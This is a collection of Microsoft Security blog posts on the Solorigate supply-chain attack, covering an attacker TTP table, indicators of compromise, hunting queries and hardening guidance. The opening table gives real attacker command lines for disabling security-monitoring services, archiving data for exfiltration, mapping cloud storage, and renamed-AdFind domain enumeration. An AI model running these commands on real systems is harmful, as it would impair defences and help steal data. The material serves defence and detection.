Attackers used multiple command-line utilities to enumerate running process, services, and signed-in users on a remote system before attempting lateral movement. – tasklist /v /s [target]
– query user /server:[target]
– schtasks /query /v /s [target] /fo csv
– sc \\[target] query type=service state=all
– wmic /node:”[target]” service get name,startname
T1047 | Windows Management Instrumentation (WMI),
T1057 | Process Discovery
Attackers used the service control manager on a remote system to disable services associated with security monitoring products. They then moved laterally to the remote system and, when the move was complete, they re-enabled the services on the source machine where they were operating previously to avoid raising warnings. On Source Machine:
sc \\[dest_machine] stop [service name][perform lateral move Source->Dest]once on Dest Machine:
sc \\[source_machine] start [service name]
T1562.001 | Defense Evasion –
Impair Defenses: Disable or Modify Tools
Attackers set the service start registry key for security monitoring products to “disabled” (i.e., DWORD value of “4”). This prevented security products from loading when the system starts. In some cases, the attackers waited to perform activity on the system until the system restarts and security monitoring products were disabled. reg add HKLM\system\currentcontrolset\services\[service name] /v Start /t REG_DWORD /d 4″ T1562.001 | Defense Evasion –
Impair Defenses: Disable or Modify Tools
Attackers modified timestamps of backdoors to match a legitimate Windows file (e.g., arp.exe). n/a T1070.006 | Indicator Removal on Host: Timestomp
Attackers used the 7-zip utility to create a password-protected archive with an extension not associated with archive files. In some cases they also used the flag “-v” to split the archive in multiple files for easier exfiltration. 7z.exe a -mx9 -r0 -p[password-redacted] .\[filename1].zip .\[filename2].log or .txt

7z.exe a -v500m -mx9 -r0 -p[password-redacted] .\[filename1].zip .\[filename2].log or .txt

T1560.001 | Archive Collected Data: Archive via Utility
Attackers mapped a OneDrive share from the command-line using the net.exe command-line utility, possibly for exfiltration; other cloud services like Google Drive were most likely also used. net use [drive]: “https://d.docs.live.net/[user-id]” /u:[username] [password] T1567.002 |
Exfiltration Over Web Service: Exfiltration to Cloud Storage
Attackers attempted to access Group Managed Service Account (gMSA) passwords with account credentials they have already obtained. n/a T1555 |
Credentials from Password Stores
Attackers leveraged privileged accounts to replicate directory service data with Domain Controllers (e.g., a DCSync attack). n/a T1003.006 |
OS Credential Dumping: DCSync
Attackers obtained Ticket Granting Service (TGS) tickets for Active Directory Service Principal Names (SPNs) to crack offline (e.g., Kerberoasting). n/a T1558.003 |
Steal or Forge Kerberos Tickets: Kerberoasting
Attackers executed multiple times the legitimate ADFIND tool to enumerate domains, remote systems, accounts and to discover trust between federated domains. The tool was executed with a renamed filename chosen to blend into the existing environment or mimicking existing network services. [renamed-adfind].exe -h [internal domain] -sc u:[user] > .\\[machine]\[file].[log|txt]

[renamed-adfind].exe -sc u:* > .\[folder]\[file].[log|txt]

[renamed-adfind].exe -h [machine] -f (name=”Domain Admins”) member -list | [renamed-adfind].exe -h [machine] -f objectcategory=* > .\[folder]\[file].[log|txt]

Some examples of [renamed-adfind] observed by Microsoft and other security researchers::

SearchIndex.exe
sqlceip.exe
postgres.exe
IxNetwork.exe
csrss.exe

T1482 |
Domain Trust DiscoveryT1018 |
Remote System Discovery

 

Conclusion

As we continue to gain deeper understanding of the Solorigate attack, we get a clearer picture of the skill level of the attackers and the extent of planning they put into pulling off one of the most sophisticated attacks in recent history. The combination of a complex attack chain and a protracted operation means that defensive solutions need to have comprehensive cross-domain visibility into attacker activity and provide months of historical data with powerful hunting tools to investigate as far back as necessary.

Modern attacks like Solorigate highlight the need for organizations to use advanced security solutions like Microsoft 365 Defender and Azure Sentinel and operate security response under an “assume breach” mentality. Microsoft 365 Defender harnesses the power of multiple capabilities and coordinates protection across domains to provide comprehensive defense. Azure Sentinel collects data from multiple data sources, including Microsoft 365 Defender, to connect data together and allow broad hunting for attacker activity.

In our ongoing forensic analysis of known Solorigate cases with malicious activity occurring between May and November 2020, we have in some instances seen the following relevant alerts generated by Microsoft Defender for Endpoint and Microsoft Defender for Identity. Incident responders and defenders investigating Solorigate incidents during that timeframe can refer to these alerts, alone or in combination, as potential indicators of the Solorigate activity.

Microsoft Defender for Endpoint alerts:

  • Low-reputation arbitrary code executed by signed executable
  • Suspicious ‘Atosev’ behavior was blocked
  • Suspicious Remote WMI Execution
  • A WMI event filter was bound to a suspicious event consumer

Microsoft Defender for Identity alerts:

  • User and IP address reconnaissance (SMB)
  • Suspected Kerberos SPN exposure

Figure 11. Alert raised by Microsoft Defender for Endpoint on Solorigate-related malicious activity in June 2020

The disclosure of the Solorigate attack and the investigations that followed unearthed more details and intelligence that we used to improve existing detections and build new ones. Security operations teams looking to get a comprehensive guide on detecting and investigating Solorigate can refer to Using Microsoft 365 Defender to protect against Solorigate.

Meanwhile, security administrators can use the recommendations for hardening networks against Solorigate and similar sophisticated cyberattacks outlined in Increasing resilience against Solorigate and other sophisticated attacks with Microsoft Defender.

To get the latest information and guidance from Microsoft, visit https://aka.ms/solorigate.

 

Microsoft 365 Defender Research Team

Microsoft Threat Intelligence Center (MSTIC)

Microsoft Cyber Defense Operations Center (CDOC)

 

Indicators of compromise (IoCs)

Custom Cobalt Strike Beacon loader (SHA-256):

118189f90da3788362fe85eafa555298423e21ec37f147f3bf88c61d4cd46c51
1817a5bf9c01035bcf8a975c9f1d94b0ce7f6a200339485d8f93859f8f6d730c
1ec138f21a315722fb702706b4bdc0f544317f130f4a009502ec98345f85e4ad
2a276f4b11f47f81dd2bcb850a158d4202df836769da5a23e56bf0353281473e
327f1d94bc26779cbe20f8689be12c7eee2e390fbddb40b92ad00b1cddfd6426
3985dea8e467c56e8cc44ebfc201253ffee923765d12808aaf17db2c644c4c06
557f91404fb821d7c1e98d9f2f5296dc12712fc19c87a84602442b4637fb23d4
5cf85c3d18cd6dba8377370883a0fffda59767839156add4c8912394f76d6ef0
5f8650ca0ed22ad0d4127eb4086d4548ec31ad035c7aec12c6e82cb64417a390
674075c8f63c64ad5fa6fd5e2aa6e4954afae594e7b0f07670e4322a60f3d0cf
6ff3a4f7fd7dc793e866708ab0fe592e6c08156b1aa3552a8d74e331f1aea377
7c68f8d80fc2a6347da7c196d5f91861ba889afb51a4da4a6c282e06ef5bdb7e
915705c09b4bd108bcd123fe35f20a16d8c9c7d38d93820e8c167695a890b214
948bfdfad43ad52ca09890a4d2515079c29bdfe02edaa53e7d92858aa2dfbe4c
955609cf0b4ea38b409d523a0f675d8404fee55c458ad079b4031e02433fdbf3
b348546f4c6a9bcafd81015132f09cf8313420eb653673bf3d65046427b1167f
b35e0010e0734fcd9b5952ae93459544ae33485fe0662fae715092e0dfb92ad3
b820e8a2057112d0ed73bd7995201dbed79a79e13c79d4bdad81a22f12387e07
be9dbbec6937dfe0a652c0603d4972ba354e83c06b8397d6555fd1847da36725
c5a818d9b95e1c548d6af22b5e8663a2410e6d4ed87df7f9daf7df0ef029872e
c741797dd400de5927f8b5317165fc755d6439749c39c380a1357eac0a00f90c
c7924cc1bc388cfcdc2ee2472899cd34a2ef4414134cbc23a7cb530650f93d98
c96b7a3c9acf704189ae8d6124b5a7b1f0e8c83c246b59bc5ff15e17b7de4c84
cbbe224d9854d6a4269ed2fa9b22d77681f84e3ca4e5d6891414479471f5ca68
cdd9b4252ef2f6e64bccc91146ec5dc51d94e2761184cd0ffa9909aa739fa17e
dbd26ccb3699f426dc6799e218b91d1a3c1d08ad3006bc2880e29c755a4e2338
e60e1bb967db273b922deeea32d56fc6d9501a236856ef9a3e5f76c1f392000a
f2d38a29f6727f4ade62d88d8a68de0d52a0695930b8c92437a2f9e4de92e418
f61a37aa8581986ba600286d65bb76100fb44e347e253f1f5ad50051e5f882f5
f81987f1484bfe5441be157250b35b0a2d7991cf9272fa4eacd3e9f0dee235de

File paths for the custom Cobalt Strike Beacon loader:

C:\Windows\ms\sms\sms.dll
C:\Windows\Microsoft.NET\Framework64\sbscmp30.dll
C:\Windows\AUInstallAgent\auagent.dll
C:\Windows\apppatch\apppatch64\sysmain.dll
C:\Windows\Vss\Writers\Application\AppXML.dll
C:\Windows\PCHEALTH\health.dll
C:\Windows\Registration\crmlog.dll
C:\Windows\Cursors\cursrv.dll
C:\Windows\AppPatch\AcWin.dll
C:\Windows\CbsTemp\cbst.dll
C:\Windows\AppReadiness\Appapi.dll
C:\Windows\Panther\MainQueueOnline.dll
C:\Windows\AppReadiness\AppRead.dll
C:\Windows\PrintDialog\PrintDial.dll
C:\Windows\ShellExperiences\MtUvc.dll
C:\Windows\PrintDialog\appxsig.dll
C:\Windows\DigitalLocker\lock.dll
C:\Windows\assembly\GAC_64\MSBuild\3.5.0.0__b03f5f7f11d50a3a\msbuild.dll
C:\Windows\Migration\WTR\ctl.dll
C:\Windows\ELAMBKUP\WdBoot.dll
C:\Windows\LiveKernelReports\KerRep.dll
C:\Windows\Speech_OneCore\Engines\TTS\en-US\enUS.Name.dll
C:\Windows\SoftwareDistribution\DataStore\DataStr.dll
C:\Windows\RemotePackages\RemoteApps\RemPack.dll
C:\Windows\ShellComponents\TaskFlow.dll

Cobalt Strike Beacon:

aimsecurity[.]net
datazr[.]com
ervsystem[.]com
financialmarket[.]org
gallerycenter[.]org
infinitysoftwares[.]com
mobilnweb[.]com
olapdatabase[.]com
swipeservice[.]com
techiefly[.]com

Advanced hunting queries

A collection of Advanced Hunting Queries (AHQ) related to Solorigate is located in our AHQ repository in GitHub. To locate possible exploitation activity related to the contents of this blog, you can run the following advanced hunting queries via Microsoft Defender for Endpoint:

Anomalous usage of 7zip

Look for anomalous usage or running process of 7zip. Run query in Microsoft Defender for Endpoint.

DeviceProcessEvents
| where InitiatingProcessFileName in~("rundll32.exe", "dllhost.exe") and InitiatingProcessCommandLine != "" and InitiatingProcessCommandLine !contains " "
| extend RundllTime = Timestamp
| join DeviceProcessEvents on $left.DeviceId == $right.DeviceId
| where InitiatingProcessFileName hasprefix "7z" or InitiatingProcessCommandLine has "-mx9"
| extend DateDiff = datetime_diff("day", Timestamp, RundllTime)
| where DateDiff < 2

Presence of custom Cobalt Strike

Look for presence of custom cobalt strike loaders. Run query in Microsoft Defender for Endpoint.

DeviceProcessEvents
| where FileName =~ "rundll32.exe"
| where InitiatingProcessIntegrityLevel in ("High", "System")
| where ProcessCommandLine matches regex @'(?i)rundll32\s+c\:\\windows(\\[^\\]+)+\.dll\s+[a-zA-Z0-9_]{3,}'

Command and control

Look for command-and-control connections. Run query in Microsoft Defender for Endpoint.

DeviceNetworkEvents
| where InitiatingProcessParentFileName =~ "rundll32.exe"
| where InitiatingProcessFileName =~ "dllhost.exe" and InitiatingProcessCommandLine != "" and InitiatingProcessCommandLine !contains " "

Look for network connections to known command and control domains. Run query in Microsoft Defender for Endpoint.

DeviceNetworkEvents
| where RemoteUrl in~('aimsecurity.net',
'datazr.com',
'ervsystem.com',
'financialmarket.org',
'gallerycenter.org',
'infinitysoftwares.com',
'mobilnweb.com',
'olapdatabase.com',
'swipeservice.com',
'techiefly.com')

 

The post Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop appeared first on Microsoft Security.

Increasing resilience against Solorigate and other sophisticated attacks with Microsoft Defender

January 14th, 2021 No comments

­Even as investigations into the sophisticated attack known as Solorigate are still underway, details and insights about the tools, patterns, and methods used by the attackers point to steps that organizations can take to improve their defenses against similar attacks. Solorigate is a cross-domain compromise—comprehensive visibility and coordinated defense are critical in responding to the attack. The same unified end-to-end protection is key to increasing resilience and preventing such attacks.

This blog is a guide for security administrators using Microsoft 365 Defender and Azure Defender to identify and implement security configuration and posture improvements that harden enterprise environments against Solorigate’s attack patterns.

This blog will cover:

The recommendations on this blog are based on our current analysis of the Solorigate attack. While this threat continues to evolve and investigations continue to unearth more information, we’re publishing these recommendations to help customers apply improvements today. To get the latest information and guidance from Microsoft, visit https://aka.ms/solorigate. Security operations and incident response teams looking for detection coverage and hunting guidance can refer to https://aka.ms/detect_solorigate.

What the Solorigate attack tells us about the state of cyberattacks

Solorigate is a complex, multi-stage attack that involved the use of advanced attacker techniques across multiple environments and multiple domains to compromise high-profile targets. To perpetrate this sophisticated attack, the attackers performed the steps below, which are discussed in detail in this blog:

  1. Compromise a legitimate binary belonging to the SolarWinds Orion Platform through a supply-chain attack
  2. Deploy a backdoor malware on devices using the compromised binary to allow attackers to remotely control affected devices
  3. Use the backdoor access on compromised devices to steal credentials, escalate privileges, and move laterally across on-premises environments to gain the ability to create SAML tokens
  4. Access cloud resources to search for accounts of interest and exfiltrate emails

Diagram of high-level Solorigate attack chain

Figure 1. High-level end-to-end Solorigate attack chain

As its intricate attack chain shows, Solorigate represents a modern cyberattack conducted by highly motivated actors who have demonstrated they won’t spare resources to get to their goal. The collective intelligence about this attack shows that, while hardening individual security domains is important, defending against today’s advanced attacks necessitates a holistic understanding of the relationship between these domains and how a compromise in one environment can be a jump-off point to another.

The Microsoft Defender for Endpoint threat analytics reports published in Microsoft 365 security center enable customers to trace such cross-domain threats by providing end-to-end analysis of critical threats. In the case of Solorigate, Microsoft researchers have so far published two threat analytics reports, which continue to be updated as additional information becomes available:

In addition to providing detailed descriptions of the attack, TTPs, indicators of compromise (IoCs), and the all-up impact of the threat to the organization, the threat analytics reports empower security administrators to review organizational resilience against the attack and apply recommended mitigations. These mitigations and other recommended best practices are discussed in the succeeding sections. Customers who don’t have access to threat analytics can refer to a publicly available customer guidance.

Screenshot of Threat analytics report on Solorigate

Figure 2. Microsoft Defender for Endpoint threat analytics report on Solorigate attack

Protecting devices and servers

The attackers behind Solorigate gain initial access to target networks by activating backdoor codes inserted into the compromised SolarWinds binary. Protecting devices against this stage of the attack can help prevent the more damaging impact of the latter stages.

Ensure full visibility into your device estate by onboarding them to Microsoft Defender for Endpoint

In the ongoing comprehensive research into the complex Solorigate attack, one thing remains certain: full in-depth visibility into your devices is key to gaining insights on security posture, risk, and potential attack activity. Make sure all your devices are protected and monitored by Microsoft Defender for Endpoint.

Screenshot of status tile in device configuration

Figure 3.  Status tile in the Device configuration management tab of Microsoft Defender for Endpoint, showing onboarded devices compared to the total number of devices managed via Endpoint Manager

Identify and patch vulnerable SolarWinds Orion applications

The Solorigate attack uses vulnerable versions of the SolarWinds Orion application so we recommend that you identify devices running vulnerable versions of the application and ensure they are updated to the latest version. The threat analytics report uses insights from threat and vulnerability management to identify such devices. On the Mitigations page in Threat analytics, you can view the number of devices exposed to vulnerability ID TVM-2020-0002, which we added specifically to help with Solorigate investigations:

Screenshot of Microsoft Defender Security Center Threat analytics Mitigations page

Figure 4. The Threat analytics Mitigations page shows information on exposed devices

The new vulnerability ID TVM-2020-0002 was added to the threat and vulnerability management Weaknesses page in Microsoft Defender for Endpoint so you can easily find exposed devices that have vulnerable SolarWinds software components installed. Additional details are available in the vulnerability details pane.

Screenshot of the vulnerability detail for TVM-2020-0002

Figure 5. Threat and vulnerability management vulnerability details pane for TVM-2020-0002  

Customers can also use the software inventory page in threat and vulnerability management to view the SolarWinds Orion versions present on endpoints in your environment and whether the vulnerable versions are present. Links to the threat analytics reports are provided under the Threats column. You can then assess the footprint of a specific software in your organization and identify the impacted devices without the need to run scans across the install base.

Screenshot of threat and vulnerability management software inventory page

Figure 6. Threat and Vulnerability Management software inventory page displaying installed SolarWinds Orion software

Security recommendations are provided to update devices running vulnerable software versions.

Screenshot of threat and vulnerability management security recommendations page

Figure 7. Threat and Vulnerability Management security recommendations page

Security admins can also use advanced hunting to query, refine, and export data. The following query retrieves an inventory of the SolarWinds Orion software in your organization, organized by product name and sorted by the number of devices that have software installed:

DeviceTvmSoftwareInventoryVulnerabilities

| where SoftwareVendor == ‘solarwinds’

| where SoftwareName startswith ‘orion’

| summarize dcount(DeviceName) by SoftwareName

| sort by dcount_DeviceName desc

The following query searches threat and vulnerability management data for SolarWinds Orion software known to be affected by Solorigate:

DeviceTvmSoftwareInventoryVulnerabilities

| where CveId == ‘TVM-2020-0002’

| project DeviceId, DeviceName, SoftwareVendor, SoftwareName, SoftwareVersion

For each security recommendation you can submit a request to the IT administrator to remediate vulnerable devices. Doing this creates a security task in Microsoft Endpoint Manager (formerly Intune) that can be continuously tracked in the threat and vulnerability management Remediation page. To use this capability, you need to enable a Microsoft Endpoint Manager connection.

Screenshot of threat and vulnerability management remediation options

Figure 8. Threat and vulnerability management ‘Remediation options’ for security recommendations and ‘Remediation activities’ tracking

Implement recommended security configurations

In addition to providing vulnerability assessments, Threat and Vulnerability Management also provides security recommendation guidance and device posture assessment that help mitigate this attack. These recommendations use vulnerability data that is also present in the Solorigate threat analytics report.

Screenshot of threat analytics mitigations page

Figure 9. Threat analytics Mitigation page shows secure configuration recommendations for devices exposed to Solorigate

The following security recommendations are provided in response to Solorigate:

Component  Secure configuration recommendations  Attack stage
Security controls (Antivirus) Turn on real-time protection Stage 1
Security controls (Antivirus) Update Microsoft Defender Antivirus definitions to version 1.329.427.0 or later Stage 1
Security controls (Attack surface reduction) Block execution of potentially obfuscated scripts Stage 2
Security controls (Attack surface reduction) Block executable files from running unless they meet a prevalence, age, or trusted list criterion Stage 2
Security controls (Microsoft Defender SmartScreen) Set Microsoft Defender SmartScreen Microsoft Edge site and download checking to block or warn Stage 2

Applying these security controls can be accomplished using Microsoft Endpoint Manager (Intune and Configuration Manager). Refer to the following documentation for guidance on deploying and managing policies with Endpoint Manager:

Protecting on-premises and cloud infrastructure

In addition to compromising client endpoints, attackers can also activate backdoor code via the compromised SolarWinds binary installed on cloud or on-premises servers, allowing them to gain a stronger foothold in the environment.

Protect your on-premises and cloud servers

A large part of many customers’ infrastructure are virtual machines. Azure Defender helps security professionals protect cloud workloads spanning virtual machines, SQL, storage, containers, IoT, Azure network layer, Azure Key Vault, and more.

As mentioned earlier, one of the key actions that should be taken to help prevent Solorigate and similar attacks is to ensure that all devices are protected and monitored by Microsoft Defender for Endpoint. Deploying Azure Defender for Servers enables Defender for Endpoint for your virtual machines to provide comprehensive detection coverage across the Solorigate attack chain. Azure Defender’s integrated vulnerability assessment solution for Azure and hybrid machines can also help address the Solorigate attack by providing visibility into vulnerability assessment findings in Azure Security Center.

Enable additional infrastructure protection and monitoring

To help provide additional in-depth defenses against Solorigate, Azure Defender recently introduced new protection modules for Azure resources. Enabling these protections can improve your visibility into malicious activities and increase the number of Azure resources protected by Azure Defender.

Azure Defender for Resource Manager allows you to continuously monitor all Azure resource management operations and breadth in protection, which includes the ability to detect attempts to exclude known malicious files by the VM Antimalware extension and other suspicious activities that could limit antimalware protection on Azure VMs.

In addition, Azure Defender for DNS ensures that all DNS queries from Azure resources using Azure DNS, including communication with malicious domains used in the Solorigate attack, are monitored, and helps identify Solorigate activity across any of your Azure cloud resources. This helps prevent the malicious Solorigate DLL from being able to connect to a remote network infrastructure to prepare for possible second-stage payloads.

Protect your Active Directory and AD FS infrastructure

After gaining access, attackers may attempt to steal credentials, escalate privileges, and move laterally in the environment. Having complete visibility into your Active Directory, either completely on-premises or hosted in IaaS machines, is key in detecting these attacks and identifying opportunities to harden security posture to prevent them.

In hybrid environments, make sure that Microsoft Defender for Identity sensor components are deployed on all your Domain Controllers and Active Directory Federation Services (AD FS) servers. Microsoft Defender for Identity not only detects malicious attempts to compromise your environment but also builds profiles of your on-premises identities for proactive investigations and provides you with built-in security assessments. We recommend prioritizing the deployment of Microsoft Defender for Identity sensors and using the “Unmonitored domain controllers” security assessment, which lists any detected domain controllers in your environment that are unmonitored. (Note: this capability can monitor your environment only after deploying at least one sensor on a domain controller.)

Screenshot of Microsoft Cloud App security showing unmonitored domain controllers

Figure 10. Unmonitored domain controllers security assessment in the Microsoft Cloud App Security portal

Protecting Microsoft 365 cloud from on-premises attacks

The end goal of the attackers behind Solorigate is to gain access to a target organization’s cloud environment, search for accounts of interest, and exfiltrate emails. From a compromised device, they move laterally across the on-premises environment, stealing credentials and escalating privileges until they can gain the ability to create SAML tokens that they then use to access the cloud environment. Protecting cloud resources from on-premises attack can prevent the attackers from successfully achieving their long game.

Implement recommended security configurations to harden cloud posture

Further best practices and recommendations to reduce the attack surface and protect the cloud from on-premise compromise can be found in our protecting Microsoft 365 cloud from on-premises attacks blog.

Implement conditional access and session control to secure access to cloud resources

In addition to hardening the individual surfaces to disrupt and prevent the attack, extending policies to implement zero trust and access controls is key in preventing compromised or unhealthy devices from accessing corporate assets, as well as governing cloud access from compliant devices.

Enable conditional access policies

Conditional access helps you better protect your users and enterprise information by making sure that only secure users and devices have access. We recommend implementing the common recommended policies for securing access to Microsoft 365 cloud services, including on-premises applications published with Azure Active Directory (Azure AD) Application Proxy.

Additionally, you can configure user risk and device risk conditional access policies to enable access to enterprise information based on the risk level of a user or device, helping keep trusted users on trusted devices using trusted applications.

Enable real-time monitoring and session control

Directly integrated with conditional access, session controls in Microsoft Cloud App Security enable extending access decisions into the session, with real-time monitoring and control over user actions in your sanctioned apps. Implement policies to prevent data exfiltration in risky situations, including blocking or protecting downloads to risky or unmanaged devices, as well as for partner users.

Additional recommendations and best practices

Strengthen your security posture even further by reviewing all improvement actions available via Microsoft Secure Score. Secure Score helps operationalize security posture management and improve your organizational security hygiene for your production tenant. Below are some of the Secure Score improvement actions for Azure Active Directory that have a direct impact against Solorigate attack patterns:

  • Do not allow users to grant consent to unmanaged applications
  • Enable Password Hash Sync if hybrid
  • Enable policy to block legacy authentication
  • Enable self-service password reset
  • Ensure all users can complete multi-factor authentication for secure access
  • Require MFA for administrative roles
  • Turn on sign-in risk policy
  • Turn on user risk policy
  • Use limited administrative roles

In addition, you can use the identity security posture assessment feature in Microsoft Defender for Identity to identify common protection gaps that might exist in your environment. Addressing detection gaps such as the following improves your Microsoft Secure Score and improves your overall resilience to a wide range of credential theft attacks:

  • Stop entities that are exposing credentials in cleartext, including ones that are tagged as sensitive. Attackers listen to cleartext credentials being sent over the network to harvest credentials and escalate privileges. While we have no indication that this technique was used in Solorigate, this is a general attack trend that organizations must be aware of and prevent.

Screenshot of Microsoft Defender for Identity portal showing Identity Security Posture

Figure 11. Entities exposing credentials in clear text security assessment in the Microsoft Cloud App Security portal

  • Remediate accounts with unsecure attributes that could allow attackers to compromise them once an initial foothold in the environment is established.

Screenshot of Microsoft Defender for Identity showing unsecure account attributes

Figure 12. Unsecure account attributes security assessment in the Microsoft Cloud App Security portal

  • Reduce risky lateral movement paths to sensitive users. An attacker could move across devices to elevate to a more privileged role and operate deeper in your organization’s environment, as we’ve witnessed in the Solorigate attack.

Screenshot of Microsoft Defender for Identity portal showing risky lateral movement

Figure 13. Risky lateral movement paths security assessment in the Microsoft Cloud App Security portal

Multiple layers of coordinated defense against advanced cross-domain attacks

Microsoft 365 Defender and Azure Defender deliver unified, intelligent, and automated security across domains to empower organizations to gain end-to-end threat visibility, which as the Solorigate attack has shown, is a critical security capability for all organizations to have. In addition to providing comprehensive visibility and rich investigation tools, Microsoft 365 Defender and Azure Defender help you to continuously improve your security posture as a direct result of insights from collective industry research or your own investigations into attacks through configurations you can make directly in the product or in-product recommendations you can implement.

For additional information and guidance from Microsoft, refer to the following:

 

The post Increasing resilience against Solorigate and other sophisticated attacks with Microsoft Defender appeared first on Microsoft Security.

Using Microsoft 365 Defender to protect against Solorigate

December 28th, 2020 No comments

Microsoft security researchers continue to investigate and respond to the sophisticated cyberattack known as Solorigate (also referred to as Sunburst by FireEye) involving a supply chain compromise and the subsequent compromise of cloud assets. While the related investigations and impact assessments are ongoing, Microsoft is providing visibility into the attack chains and related threat intelligence to the defender community as early as possible so organizations can identify and take action to stop this attack, understand the potential scope of its impact, and begin the recovery process from this active threat. We have established a resource center that is constantly updated as more information becomes available at https://aka.ms/solorigate.

This blog is a comprehensive guide for security operations and incident response teams using Microsoft 365 Defender to identify, investigate, and respond to the Solorigate attack if it’s found in your environment. The description of the attack in this blog is based on current analysis and investigations by researchers across Microsoft, our partners, and the intelligence community who are actively collaborating to respond to the attack. This is an active threat that continues to evolve, and the findings included here represent what we know at the time of publishing. We continue to publish and update intelligence, indicators, tactics, techniques, and procedures (TTPs), and related details as we discover them. The report from the Microsoft Security Response Center (MSRC) includes the latest analysis of this threat, known indicators of compromise (IOCs), and initial recommended defenses, and will be updated as new data becomes available.

This blog covers:

Tracking the cross-domain Solorigate attack from endpoint to the cloud

The Solorigate attack is an example of a modern cross-domain compromise. Since these kinds of attacks span multiple domains, having visibility into the entire scope of the attack is key to stopping and preventing its spread.

This attack features a sophisticated technique involving a software supply chain compromise that allowed attackers to introduce malicious code into signed binaries on the SolarWinds Orion Platform, a popular IT management software. The compromised application grants attackers “free” and easy deployment across a wide range of organizations who use and regularly update the application, with little risk of detection because the signed application and binaries are common and are considered trusted. With this initial widespread foothold, the attackers can then pick and choose the specific organizations they want to continue operating within (while others remain an option at any point as long as the backdoor is installed and undetected). Based on our investigations, the next stages of the attack involve on-premises activity with the goal of off-premises access to cloud resources through the following steps:

  1. Using the compromised SolarWinds DLL to activate a backdoor that enables attackers to remotely control and operate on a device
  2. Using the backdoor access to steal credentials, escalate privileges, and move laterally to gain the ability to create valid SAML tokens using any of two methods:
    1. Stealing the SAML signing certificate (Path 1)
    2. Adding to or modifying existing federation trust (Path 2)
  3. Using attacker-created SAML tokens to access cloud resources and perform actions leading to the exfiltration of emails and persistence in the cloud

Diagram of the high-level Solorigate attack chain

Figure 1. High-level end-to-end Solorigate attack chain

This attack is an advanced and stealthy campaign with the ability to blend in, which could allow attackers to stay under the radar for long periods of time before being detected. The deeply integrated cross-domain security capabilities in Microsoft 365 Defender can empower organizations and their security operations (SOC) teams to uncover this attack, scope out the end-to-end breach from endpoint to the cloud, and take action to block and remediate it. This blog will offer step-by-step guidance to do this by outlining:

  • How indicators of attack show up across endpoints, identity, and the cloud
  • How Microsoft 365 Defender automatically combines alerts across these different domains into a comprehensive end-to-end story
  • How to leverage the powerful toolset available for deep investigation, hunting, and response to enable SOCs to battle the attackers and evict these attackers from both on-premises and cloud environments

Threat analytics: Understanding and responding to active attacks

As soon as this attack was discovered, Microsoft researchers published two threat analytics reports to help organizations determine if they are affected, assess the impact of the attack, and identify actions to contain it.

The reports are published in Microsoft 365 security center, available to all Microsoft Defender for Endpoint customers and Microsoft 365 Defender early adopters. In addition to detailed descriptions of the attack, TTPs, and indicators of compromise (IoCs), the reports provide real-time data aggregated from signals across Microsoft 365 Defender, indicating the all-up impact of the threat to the organization, as well as details about relevant incidents and alerts to initiate investigation on. These reports continue to be updated as additional information becomes available.

Given the significance of this threat, we are making similar relevant Microsoft threat intelligence data, including the updated list of IOCs, available to everyone publicly.  A comprehensive list of guidance and insights is available at https://aka.ms/solorigate.

Screenshot of threat analytics report on Soloriage in Microsoft Defender Security Center

Figure 2. Threat analytics report on Solorigate attack

We recommend Microsoft 365 Defender customers to start their investigations here. After gaining deep understanding of the threat and getting the latest research findings, you can take the following recommended steps:

Find devices with the compromised SolarWinds Orion application

The threat analytics report uses insights from threat and vulnerability management to identify devices that have the compromised SolarWinds Orion Platform binaries or are exposed to the attack due to misconfiguration.

From the Vulnerability patching status chart in threat analytics, you can view the mitigation details to see a list of devices with the vulnerability ID TVM-2020-0002, which was added specifically to help with Solorigate investigations:

Threat and vulnerability management insights on impact of Solorigate

Figure 3. Threat and vulnerability management data shows data on exposed devices

Threat and vulnerability management provides more info about the vulnerability ID TVM-2020-0002, as well as all relevant applications, via the Software inventory view. There are also multiple security recommendations to address this specific threat, including instructions to update the software versions installed on exposed devices.

Screenshot of security recommendations for Solorigate in Microsoft Defender Security Center

Figure 4. Security recommendations from threat and vulnerability management

Investigate related alerts and incidents

From the threat analytics report, you can quickly locate devices with alerts related to the attack. The Devices with alerts chart identifies devices with malicious components or activities known to be directly related to Solorigate. Click through to get the list of alerts and investigate.

Some Solorigate activities may not be directly tied to this specific threat but will trigger alerts due to generally suspicious or malicious behaviors. All alerts in Microsoft 365 Defender provided by different Microsoft 365 products are correlated into incidents. Incidents help you see the relationship between detected activities, better understand the end-to-end picture of the attack, and investigate, contain, and remediate the threat in a consolidated manner.

Review incidents in the Incidents queue and look for those with alerts relevant to this attacker’s TTPs, as described in the threat analytics report (also listed at the end of this blog).

Screenshot of Microsoft Defender Security Center incidents view for Solorigate

Figure 5. Consolidated Incident view for Solorigate

Some alerts are specially tagged with Microsoft Threat Experts to indicate malicious activities that Microsoft researchers found in customer environments during hunting. As part of the Microsoft Threat Experts service, researchers investigated this attack as it unfolded, hunting for associated attacker behaviors, and sent targeted attack notifications. If you see an alert tagged with Microsoft Threat Experts, we strongly recommend that you give it immediate attention.

Screenshot of Microsoft Defender Security Center showing Microsoft Threat Experts detections

Figure 6. Microsoft Threat Experts targeted attack notification

Additionally, Microsoft Threat Experts customers with Experts on demand subscriptions can reach out directly to our on-demand hunters for additional help in understanding the Solorigate threat and the scope of its impact in their environments.

Hunt for related attacker activity

The threat analytics report also provides advanced hunting queries that can help analysts locate additional related or similar activities across endpoint, identity, and cloud. Advanced hunting uses a rich set of data sources, but in response to Solorigate, Microsoft has enabled streaming of Azure Active Directory (Azure AD) audit logs into advanced hunting, available for all customers in public preview. These logs provide traceability for all changes done by various features within Azure AD. Examples of audit logs include changes made to any resources within Azure AD, such as adding or removing users, apps, groups, roles, and policies.  Customers who do not have Microsoft Defender for Endpoint or are not early adopters for Microsoft 365 Defender can see our recommended advanced hunting queries.

Currently, this data is available to customers who have Microsoft Cloud App Security with the Office365 connector. Our intent is to expand availability to more Microsoft 365 Defender customers. The new log data is available in the CloudAppEvents table:

CloudAppEvents
| where Application == “Office 365”

The log data contains activity logs useful for investigating and finding Azure AD-related activities. This data further enriches the CloudAppEvents table, which also has Exchange Online and Microsoft Teams activities.

As part of making this new data available, we also published a handful of relevant advanced hunting queries, identified by the suffix [Solorigate], to the GitHub repo.

Here’s an example query that helps you see when credentials are added to an Azure AD application after ‘Admin Consent’ permissions were granted:

CloudAppEvents
| where Application == “Office 365”
| where ActionType == “Consent to application.”
| where RawEventData.ModifiedProperties[0].Name == “ConsentContext.IsAdminConsent” and RawEventData.ModifiedProperties[0].NewValue == “True”
| extend spnID = tostring(RawEventData.Target[3].ID)
